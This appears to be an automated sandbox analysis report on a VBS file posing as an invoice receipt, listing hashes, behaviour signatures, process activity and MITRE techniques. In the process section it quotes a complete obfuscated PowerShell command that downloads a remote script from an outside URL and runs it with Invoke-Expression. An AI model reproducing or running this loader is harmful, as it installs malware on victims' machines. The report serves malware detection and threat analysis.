1b8775fa633e04edf24411129b02074e4a9b8a79c28896908ff57dafe7cde968

Analysis

max time kernel
122s
max time network
122s
platform
windows7_x64
resource
win7-en-20211208
submitted
14-01-2022 12:32

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General

Target

G2M18C6INV0ICERECEIPT.vbs
Size

4KB
MD5

e193dff484ce89bc7ba5ae2022ab7227
SHA1

49d652b6e0fe6071b99fa9a7e891cc5187ebc4db
SHA256

1b8775fa633e04edf24411129b02074e4a9b8a79c28896908ff57dafe7cde968
SHA512

a5796933a05066bb69a14b7c4bf0a77d3e5f58572390f9d342a39a95c14b43a2a6e67f7e9ecc163fd75552cd6226274f065f41be2888089901c19431b96878c5

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

268 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 268 powershell.exe

pid	process
268	powershell.exe

description	pid	process
Token: SeDebugPrivilege	268	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 1204 wrote to memory of 268	1204	WScript.exe	powershell.exe
PID 1204 wrote to memory of 268	1204	WScript.exe	powershell.exe
PID 1204 wrote to memory of 268	1204	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\G2M18C6INV0ICERECEIPT.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1204

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $Hx = 'HttP://swmen.com/ben/PS1vedy.txt';$HB=('{2}{0}{1}' -f'---------l---------o---------a---------d---------'.RePlace('---------',''),'**********s**********t**********r**********i**********n**********g**********'.RePlace('**********',''),'sss+Dsss+osss+wsss+nsss+'.RePlace('sss+',''));$HBB=('{2}{0}{1}' -f'---------e---------B---------c---------l---------'.RePlace('---------',''),'---------i---------e---------n---------t---------'.RePlace('---------',''),'---------Ne---------t---------.W---------'.RePlace('---------',''));$HBBB=('{2}{0}{1}' -f'------w-o------B------j------e------c------t $------H------'.RePlace('------',''),'------BB------).$H------B(------$H------x)------'.RePlace('------',''),'------I------`e------`X(------Ne------'.RePlace('------',''));$HBBBBB = ($HBBB -Join '')|InVoke-exPressioN
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:268

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/268-55-0x0000000000000000-mapping.dmp

Download
memory/268-57-0x000007FEF3420000-0x000007FEF3F7D000-memory.dmp

Filesize
11.4MB

Download
memory/268-59-0x0000000002962000-0x0000000002964000-memory.dmp

Filesize
8KB

Download
memory/268-60-0x0000000002964000-0x0000000002967000-memory.dmp

Filesize
12KB

Download
memory/268-58-0x0000000002960000-0x0000000002962000-memory.dmp

Filesize
8KB

Download
memory/268-61-0x000000001B800000-0x000000001BAFF000-memory.dmp

Filesize
3.0MB

Download
memory/268-62-0x000000000296B000-0x000000000298A000-memory.dmp

Filesize
124KB

Download
memory/1204-54-0x000007FEFC261000-0x000007FEFC263000-memory.dmp

Filesize
8KB

Download